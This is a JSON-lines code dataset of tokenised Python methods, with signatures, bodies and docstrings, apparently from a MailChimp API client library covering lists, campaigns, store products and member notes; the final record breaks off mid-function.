{"signature": "def update(self, list_id, subscriber_hash, note_id, data):", "body": "subscriber_hash = check_subscriber_hash(subscriber_hash)<EOL>self.list_id = list_id<EOL>self.subscriber_hash = subscriber_hash<EOL>self.note_id = note_id<EOL>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>return self._mc_client._patch(<EOL>url=self._build_path(list_id, '<STR_LIT>', subscriber_hash, '<STR_LIT>', note_id),<EOL>data=data<EOL>)<EOL>", "docstring": "Update a specific note for a specific list member.\n\nThe documentation lists only the note request body parameter so it is\nbeing documented and error-checked as if it were required based on the\ndescription of the method.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param subscriber_hash: The MD5 hash of the lowercase version of the\n  list member\u2019s email address.\n:type subscriber_hash: :py:class:`str`\n:param note_id: The id for the note.\n:type note_id: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"note\": string*\n}", "id": "f306:c0:m4"}
{"signature": "def delete(self, list_id, subscriber_hash, note_id):", "body": "subscriber_hash = check_subscriber_hash(subscriber_hash)<EOL>self.list_id = list_id<EOL>self.subscriber_hash = subscriber_hash<EOL>self.note_id = note_id<EOL>return self._mc_client._delete(url=self._build_path(list_id, '<STR_LIT>', subscriber_hash, '<STR_LIT>', note_id))<EOL>", "docstring": "Delete a specific note for a specific list member.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param subscriber_hash: The MD5 hash of the lowercase version of the\n  list member\u2019s email address.\n:type subscriber_hash: :py:class:`str`\n:param note_id: The id for the note.\n:type note_id: :py:class:`str`", "id": "f306:c0:m5"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(StorePromoRules, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.store_id = None<EOL>", "docstring": "Initialize the Endpoint\n:param args:\n:param kwargs:", "id": "f307:c0:m0"}
{"signature": "def create(self, store_id, data):", "body": "self.store_id = store_id<EOL>if '<STR_LIT:id>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT:description>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT:target>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>response = self._mc_client._post(url=self._build_path(store_id, '<STR_LIT>'), data=data)<EOL>if response is not None:<EOL><INDENT>return response<EOL><DEDENT>", "docstring": "Add new promo rule to a store\n\n:param store_id: The store id\n:type store_id: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict'\ndata = {\n    \"id\": string*,\n    \"title\": string,\n    \"description\": string*,\n    \"starts_at\": string,\n    \"ends_at\": string,\n    \"amount\": number*,\n    \"type\": string*,\n    \"target\": string*,\n    \"enabled\": boolean,\n    \"created_at_foreign\": string,\n    \"updated_at_foreign\": string,\n}", "id": "f307:c0:m1"}
{"signature": "def all(self, store_id, get_all=False, **queryparams):", "body": "self.store_id = store_id<EOL>if get_all:<EOL><INDENT>return self._iterate(url=self._build_path(store_id, '<STR_LIT>'), **queryparams)<EOL><DEDENT>else:<EOL><INDENT>return self._mc_client._get(url=self._build_path(store_id, '<STR_LIT>'), **queryparams)<EOL><DEDENT>", "docstring": "Get information about a store\u2019s promo rules.\n\n:param store_id: The store's id\n:type store_id: `str`\n:param get_all:\n:type get_all: :py:class:`bool`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []\nqueryparams['count'] = integer\nqueryparams['offset'] = integer", "id": "f307:c0:m2"}
{"signature": "def get(self, store_id, promo_rule_id, **queryparams):", "body": "self.store_id = store_id<EOL>self.promo_rule_id = promo_rule_id<EOL>return self._mc_client._get(url=self._build_path(store_id, '<STR_LIT>', promo_rule_id), **queryparams)<EOL>", "docstring": "Get information about a specific promo rule.\n\n:param store_id: The store's id\n:type store_id: `string`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []\nqueryparams['count'] = integer\nqueryparams['offset'] = integer", "id": "f307:c0:m3"}
{"signature": "def update(self, store_id, promo_rule_id, data):", "body": "self.store_id = store_id<EOL>self.promo_rule_id = promo_rule_id<EOL>return self._mc_client._patch(url=self._build_path(store_id, '<STR_LIT>', promo_rule_id), data=data)<EOL>", "docstring": "Update a promo rule\n\n:param store_id: The store id\n:type :py:class:`str`\n:param promo_rule_id: The id for the promo rule of a store.\n:type :py:class:`str`\n:param data:\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"id\": string,\n    \"title\": string,\n    \"description\": string,\n    \"starts_at\": string,\n    \"ends_at\": string,\n    \"amount\": number,\n    \"type\": string,\n    \"target\": string,\n    \"enabled\": boolean,\n    \"created_at_foreign\": string,\n    \"updated_at_foreign\": string,\n}", "id": "f307:c0:m4"}
{"signature": "def delete(self, store_id, promo_rule_id):", "body": "self.store_id=store_id<EOL>self.promo_rule_id=promo_rule_id<EOL>return self._mc_client._delete(url=self._build_path(store_id, '<STR_LIT>', promo_rule_id))<EOL>", "docstring": "Delete a promo rule\n:param store_id: The store id\n:type :py:class:`str`\n:param promo_rule_id: The id for the promo rule of a store.\n:type :py:class:`str`", "id": "f307:c0:m5"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(StoreProductImages, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.store_id = None<EOL>self.product_id = None<EOL>self.image_id = None<EOL>", "docstring": "Initialize the endpoint", "id": "f308:c0:m0"}
{"signature": "def create(self, store_id, product_id, data):", "body": "self.store_id = store_id<EOL>self.product_id = product_id<EOL>if '<STR_LIT:id>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT:title>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>response = self._mc_client._post(url=self._build_path(store_id, '<STR_LIT>', product_id, '<STR_LIT>'), data=data)<EOL>if response is not None:<EOL><INDENT>self.image_id = response['<STR_LIT:id>']<EOL><DEDENT>else:<EOL><INDENT>self.image_id = None<EOL><DEDENT>return response<EOL>", "docstring": "Add a new image to the product.\n\n:param store_id: The store id.\n:type store_id: :py:class:`str`\n:param product_id: The id for the product of a store.\n:type product_id: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"id\": string*,\n    \"url\": string*\n}", "id": "f308:c0:m1"}
{"signature": "def all(self, store_id, product_id, get_all=False, **queryparams):", "body": "self.store_id = store_id<EOL>self.product_id = product_id<EOL>self.image_id = None<EOL>if get_all:<EOL><INDENT>return self._iterate(url=self._build_path(store_id, '<STR_LIT>', product_id, '<STR_LIT>'), **queryparams)<EOL><DEDENT>else:<EOL><INDENT>return self._mc_client._post(url=self._build_path(store_id, '<STR_LIT>', product_id, '<STR_LIT>'), **queryparams)<EOL><DEDENT>", "docstring": "Get information about a product\u2019s images.\n\n:param store_id: The store id.\n:type store_id: :py:class:`str`\n:param product_id: The id for the product of a store.\n:type product_id: :py:class:`str`\n:param get_all: Should the query get all results\n:type get_all: :py:class:`bool`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []\nqueryparams['count'] = integer\nqueryparams['offset'] = integer", "id": "f308:c0:m2"}
{"signature": "def get(self, store_id, product_id, image_id, **queryparams):", "body": "self.store_id = store_id<EOL>self.product_id = product_id<EOL>self.image_id = image_id<EOL>return self._mc_client._post(<EOL>url=self._build_path(store_id, '<STR_LIT>', product_id, '<STR_LIT>', image_id),<EOL>**queryparams<EOL>)<EOL>", "docstring": "Get information about a specific product image.\n\n:param store_id: The store id.\n:type store_id: :py:class:`str`\n:param product_id: The id for the product of a store.\n:type product_id: :py:class:`str`\n:param image_id: The id for the product image.\n:type image_id: :py:class:`str`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f308:c0:m3"}
{"signature": "def update(self, store_id, product_id, image_id, data):", "body": "self.store_id = store_id<EOL>self.product_id = product_id<EOL>self.image_id = image_id<EOL>return self._mc_client._patch(<EOL>url=self._build_path(store_id, '<STR_LIT>', product_id, '<STR_LIT>', image_id),<EOL>data=data<EOL>)<EOL>", "docstring": "Update a product image.\n\n:param store_id: The store id.\n:type store_id: :py:class:`str`\n:param product_id: The id for the product of a store.\n:type product_id: :py:class:`str`\n:param image_id: The id for the product image.\n:type image_id: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`", "id": "f308:c0:m4"}
{"signature": "def delete(self, store_id, product_id, image_id):", "body": "self.store_id = store_id<EOL>self.product_id = product_id<EOL>self.image_id = image_id<EOL>return self._mc_client._delete(url=self._build_path(store_id, '<STR_LIT>', product_id, '<STR_LIT>', image_id))<EOL>", "docstring": "Delete a product image.\n\n:param store_id: The store id.\n:type store_id: :py:class:`str`\n:param product_id: The id for the product of a store.\n:type product_id: :py:class:`str`\n:param image_id: The id for the product image.\n:type image_id: :py:class:`str`", "id": "f308:c0:m5"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(ListMemberGoals, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.list_id = None<EOL>self.subscriber_hash = None<EOL>", "docstring": "Initialize the endpoint", "id": "f309:c0:m0"}
{"signature": "def all(self, list_id, subscriber_hash, **queryparams):", "body": "subscriber_hash = check_subscriber_hash(subscriber_hash)<EOL>self.list_id = list_id<EOL>self.subscriber_hash = subscriber_hash<EOL>return self._mc_client._get(url=self._build_path(list_id, '<STR_LIT>', subscriber_hash, '<STR_LIT>'), **queryparams)<EOL>", "docstring": "Get the last 50 Goal events for a member on a specific list.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param subscriber_hash: The MD5 hash of the lowercase version of the\n  list member\u2019s email address.\n:type subscriber_hash: :py:class:`str`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f309:c0:m1"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(StoreProductVariants, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.store_id = None<EOL>self.product_id = None<EOL>self.variant_id = None<EOL>", "docstring": "Initialize the endpoint", "id": "f310:c0:m0"}
{"signature": "def create(self, store_id, product_id, data):", "body": "self.store_id = store_id<EOL>self.product_id = product_id<EOL>if '<STR_LIT:id>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT:title>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>response = self._mc_client._post(url=self._build_path(store_id, '<STR_LIT>', product_id, '<STR_LIT>'), data=data)<EOL>if response is not None:<EOL><INDENT>self.variant_id = response['<STR_LIT:id>']<EOL><DEDENT>else:<EOL><INDENT>self.variant_id = None<EOL><DEDENT>return response<EOL>", "docstring": "Add a new variant to the product.\n\n:param store_id: The store id.\n:type store_id: :py:class:`str`\n:param product_id: The id for the product of a store.\n:type product_id: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"id\": string*,\n    \"title\": string*\n}", "id": "f310:c0:m1"}
{"signature": "def all(self, store_id, product_id, get_all=False, **queryparams):", "body": "self.store_id = store_id<EOL>self.product_id = product_id<EOL>self.variant_id = None<EOL>if get_all:<EOL><INDENT>return self._iterate(url=self._build_path(store_id, '<STR_LIT>', product_id, '<STR_LIT>'), **queryparams)<EOL><DEDENT>else:<EOL><INDENT>return self._mc_client._get(<EOL>url=self._build_path(store_id, '<STR_LIT>', product_id, '<STR_LIT>'),<EOL>**queryparams<EOL>)<EOL><DEDENT>", "docstring": "Get information about a product\u2019s variants.\n\n:param store_id: The store id.\n:type store_id: :py:class:`str`\n:param product_id: The id for the product of a store.\n:type product_id: :py:class:`str`\n:param get_all: Should the query get all results\n:type get_all: :py:class:`bool`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []\nqueryparams['count'] = integer\nqueryparams['offset'] = integer", "id": "f310:c0:m2"}
{"signature": "def get(self, store_id, product_id, variant_id, **queryparams):", "body": "self.store_id = store_id<EOL>self.product_id = product_id<EOL>self.variant_id = variant_id<EOL>return self._mc_client._get(<EOL>url=self._build_path(store_id, '<STR_LIT>', product_id, '<STR_LIT>', variant_id),<EOL>**queryparams<EOL>)<EOL>", "docstring": "Get information about a specific product variant.\n\n:param store_id: The store id.\n:type store_id: :py:class:`str`\n:param product_id: The id for the product of a store.\n:type product_id: :py:class:`str`\n:param variant_id: The id for the product variant.\n:type variant_id: :py:class:`str`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f310:c0:m3"}
{"signature": "def update(self, store_id, product_id, variant_id, data):", "body": "self.store_id = store_id<EOL>self.product_id = product_id<EOL>self.variant_id = variant_id<EOL>return self._mc_client._patch(<EOL>url=self._build_path(store_id, '<STR_LIT>', product_id, '<STR_LIT>', variant_id),<EOL>data=data<EOL>)<EOL>", "docstring": "Update a product variant.\n\n:param store_id: The store id.\n:type store_id: :py:class:`str`\n:param product_id: The id for the product of a store.\n:type product_id: :py:class:`str`\n:param variant_id: The id for the product variant.\n:type variant_id: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`", "id": "f310:c0:m4"}
{"signature": "def create_or_update(self, store_id, product_id, variant_id, data):", "body": "self.store_id = store_id<EOL>self.product_id = product_id<EOL>self.variant_id = variant_id<EOL>if '<STR_LIT:id>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT:title>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>return self._mc_client._put(<EOL>url=self._build_path(store_id, '<STR_LIT>', product_id, '<STR_LIT>', variant_id),<EOL>data=data<EOL>)<EOL>", "docstring": "Add or update a product variant.\n\n:param store_id: The store id.\n:type store_id: :py:class:`str`\n:param product_id: The id for the product of a store.\n:type product_id: :py:class:`str`\n:param variant_id: The id for the product variant.\n:type variant_id: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"id\": string*,\n    \"title\": string*\n}", "id": "f310:c0:m5"}
{"signature": "def delete(self, store_id, product_id, variant_id):", "body": "self.store_id = store_id<EOL>self.product_id = product_id<EOL>self.variant_id = variant_id<EOL>return self._mc_client._delete(url=self._build_path(store_id, '<STR_LIT>', product_id, '<STR_LIT>', variant_id))<EOL>", "docstring": "Delete a product variant.\n\n:param store_id: The store id.\n:type store_id: :py:class:`str`\n:param product_id: The id for the product of a store.\n:type product_id: :py:class:`str`\n:param variant_id: The id for the product variant.\n:type variant_id: :py:class:`str`", "id": "f310:c0:m6"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(Root, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>", "docstring": "Initialize the endpoint", "id": "f311:c0:m0"}
{"signature": "def get(self, **queryparams):", "body": "return self._mc_client._get(url=self._build_path(), **queryparams)<EOL>", "docstring": "Get links to all other resources available in the API.\n\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f311:c0:m1"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(ReportSentTo, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.campaign_id = None<EOL>self.subscriber_hash = None<EOL>", "docstring": "Initialize the endpoint", "id": "f312:c0:m0"}
{"signature": "def all(self, campaign_id, get_all=False, **queryparams):", "body": "self.campaign_id = campaign_id<EOL>self.subscriber_hash = None<EOL>if get_all:<EOL><INDENT>return self._iterate(url=self._build_path(campaign_id, '<STR_LIT>'), **queryparams)<EOL><DEDENT>else:<EOL><INDENT>return self._mc_client._get(url=self._build_path(campaign_id, '<STR_LIT>'), **queryparams)<EOL><DEDENT>", "docstring": "Get information about campaign recipients.\n\n:param campaign_id: The unique id for the campaign.\n:type campaign_id: :py:class:`str`\n:param get_all: Should the query get all results\n:type get_all: :py:class:`bool`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []\nqueryparams['count'] = integer\nqueryparams['offset'] = integer", "id": "f312:c0:m1"}
{"signature": "def get(self, campaign_id, subscriber_hash, **queryparams):", "body": "subscriber_hash = check_subscriber_hash(subscriber_hash)<EOL>self.campaign_id = campaign_id<EOL>self.subscriber_hash = subscriber_hash<EOL>return self._mc_client._get(url=self._build_path(campaign_id, '<STR_LIT>', subscriber_hash), **queryparams)<EOL>", "docstring": "Get information about a specific campaign recipient.\n\n:param campaign_id: The unique id for the campaign.\n:type campaign_id: :py:class:`str`\n:param subscriber_hash: The MD5 hash of the lowercase version of the\n  list member\u2019s email address.\n:type subscriber_hash: :py:class:`str`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f312:c0:m2"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(Lists, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.list_id = None<EOL>self.abuse_reports = ListAbuseReports(self)<EOL>self.activity = ListActivity(self)<EOL>self.clients = ListClients(self)<EOL>self.growth_history = ListGrowthHistory(self)<EOL>self.interest_categories = ListInterestCategories(self)<EOL>self.members = ListMembers(self)<EOL>self.merge_fields = ListMergeFields(self)<EOL>self.segments = ListSegments(self)<EOL>self.signup_forms = ListSignupForms(self)<EOL>self.webhooks = ListWebhooks(self)<EOL>", "docstring": "Initialize the endpoint", "id": "f313:c0:m0"}
{"signature": "def create(self, data):", "body": "if '<STR_LIT:name>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data['<STR_LIT>']:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data['<STR_LIT>']:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data['<STR_LIT>']:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT:state>' not in data['<STR_LIT>']:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data['<STR_LIT>']:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data['<STR_LIT>']:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data['<STR_LIT>']:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data['<STR_LIT>']:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>check_email(data['<STR_LIT>']['<STR_LIT>'])<EOL>if '<STR_LIT>' not in data['<STR_LIT>']:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data['<STR_LIT>']:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if data['<STR_LIT>'] not in [True, False]:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>response = self._mc_client._post(url=self._build_path(), data=data)<EOL>if response is not None:<EOL><INDENT>self.list_id = response['<STR_LIT:id>']<EOL><DEDENT>else:<EOL><INDENT>self.list_id = None<EOL><DEDENT>return response<EOL>", "docstring": "Create a new list in your MailChimp account.\n\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"name\": string*,\n    \"contact\": object*\n    {\n        \"company\": string*,\n        \"address1\": string*,\n        \"city\": string*,\n        \"state\": string*,\n        \"zip\": string*,\n        \"country\": string*\n    },\n    \"permission_reminder\": string*,\n    \"campaign_defaults\": object*\n    {\n        \"from_name\": string*,\n        \"from_email\": string*,\n        \"subject\": string*,\n        \"language\": string*\n    },\n    \"email_type_option\": boolean\n}", "id": "f313:c0:m1"}
{"signature": "def update_members(self, list_id, data):", "body": "self.list_id = list_id<EOL>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>if not len(data['<STR_LIT>']) <= <NUM_LIT>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>for member in data['<STR_LIT>']:<EOL><INDENT>if '<STR_LIT>' not in member:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>check_email(member['<STR_LIT>'])<EOL>if '<STR_LIT:status>' not in member and '<STR_LIT>' not in member:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>valid_statuses = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>if '<STR_LIT:status>' in member and member['<STR_LIT:status>'] not in valid_statuses:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' in member and member['<STR_LIT>'] not in valid_statuses:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT>if '<STR_LIT>' not in data:<EOL><INDENT>data['<STR_LIT>'] = False<EOL><DEDENT>return self._mc_client._post(url=self._build_path(list_id), data=data)<EOL>", "docstring": "Batch subscribe or unsubscribe list members.\n\nOnly the members array is required in the request body parameters.\nWithin the members array, each member requires an email_address\nand either a status or status_if_new. The update_existing parameter\nwill also be considered required to help prevent accidental updates\nto existing members and will default to false if not present.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"members\": array*\n    [\n        {\n            \"email_address\": string*,\n            \"status\": string* (Must be one of 'subscribed', 'unsubscribed', 'cleaned', or 'pending'),\n            \"status_if_new\": string* (Must be one of 'subscribed', 'unsubscribed', 'cleaned', or 'pending')\n        }\n    ],\n    \"update_existing\": boolean*\n}", "id": "f313:c0:m2"}
{"signature": "def all(self, get_all=False, **queryparams):", "body": "self.list_id = None<EOL>if get_all:<EOL><INDENT>return self._iterate(url=self._build_path(), **queryparams)<EOL><DEDENT>else:<EOL><INDENT>return self._mc_client._get(url=self._build_path(), **queryparams)<EOL><DEDENT>", "docstring": "Get information about all lists in the account.\n\n:param get_all: Should the query get all results\n:type get_all: :py:class:`bool`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []\nqueryparams['count'] = integer\nqueryparams['offset'] = integer\nqueryparams['before_date_created'] = string\nqueryparams['since_date_created'] = string\nqueryparams['before_campaign_last_sent'] = string\nqueryparams['since_campaign_last_sent'] = string\nqueryparams['email'] = string\nqueryparams['sort_field'] = string (Must be 'date_created')\nqueryparams['sort_dir'] = string (Must be one of 'ASC' or 'DESC')", "id": "f313:c0:m3"}
{"signature": "def get(self, list_id, **queryparams):", "body": "self.list_id = list_id<EOL>return self._mc_client._get(url=self._build_path(list_id), **queryparams)<EOL>", "docstring": "Get information about a specific list in your MailChimp account.\nResults include list members who have signed up but haven\u2019t confirmed\ntheir subscription yet and unsubscribed or cleaned.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f313:c0:m4"}
{"signature": "def update(self, list_id, data):", "body": "self.list_id = list_id<EOL>if '<STR_LIT:name>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data['<STR_LIT>']:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data['<STR_LIT>']:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data['<STR_LIT>']:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT:state>' not in data['<STR_LIT>']:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data['<STR_LIT>']:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data['<STR_LIT>']:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data['<STR_LIT>']:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data['<STR_LIT>']:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>check_email(data['<STR_LIT>']['<STR_LIT>'])<EOL>if '<STR_LIT>' not in data['<STR_LIT>']:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data['<STR_LIT>']:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if data['<STR_LIT>'] not in [True, False]:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>return self._mc_client._patch(url=self._build_path(list_id), data=data)<EOL>", "docstring": "Update the settings for a specific list.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"name\": string*,\n    \"contact\": object*\n    {\n        \"company\": string*,\n        \"address1\": string*,\n        \"city\": string*,\n        \"state\": string*,\n        \"zip\": string*,\n        \"country\": string*\n    },\n    \"permission_reminder\": string*,\n    \"campaign_defaults\": object*\n    {\n        \"from_name\": string*,\n        \"from_email\": string*,\n        \"subject\": string*,\n        \"language\": string*\n    },\n    \"email_type_option\": boolean\n}", "id": "f313:c0:m5"}
{"signature": "def delete(self, list_id):", "body": "self.list_id = list_id<EOL>return self._mc_client._delete(url=self._build_path(list_id))<EOL>", "docstring": "Delete a list from your MailChimp account. If you delete a list,\nyou\u2019ll lose the list history\u2014including subscriber activity,\nunsubscribes, complaints, and bounces. You\u2019ll also lose subscribers\u2019\nemail addresses, unless you exported and backed up your list.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`", "id": "f313:c0:m6"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(CampaignSendChecklist, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.campaign_id = None<EOL>", "docstring": "Initialize the endpoint", "id": "f314:c0:m0"}
{"signature": "def get(self, campaign_id, **queryparams):", "body": "self.campaign_id = campaign_id<EOL>return self._mc_client._get(url=self._build_path(campaign_id, '<STR_LIT>'), **queryparams)<EOL>", "docstring": "Review the send checklist for a campaign, and resolve any issues\nbefore sending.\n\n:param campaign_id: The unique id for the campaign.\n:type campaign_id: :py:class:`str`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f314:c0:m1"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(Campaigns, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.campaign_id = None<EOL>self.actions = CampaignActions(self)<EOL>self.content = CampaignContent(self)<EOL>self.feedback = CampaignFeedback(self)<EOL>self.send_checklist = CampaignSendChecklist(self)<EOL>", "docstring": "Initialize the endpoint", "id": "f315:c0:m0"}
{"signature": "def create(self, data):", "body": "if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data['<STR_LIT>']:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data['<STR_LIT>']:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data['<STR_LIT>']:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data['<STR_LIT>']:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>check_email(data['<STR_LIT>']['<STR_LIT>'])<EOL>if '<STR_LIT:type>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if not data['<STR_LIT:type>'] in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if data['<STR_LIT:type>'] == '<STR_LIT>':<EOL><INDENT>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data['<STR_LIT>']:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if data['<STR_LIT>']['<STR_LIT>'] not in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT>if 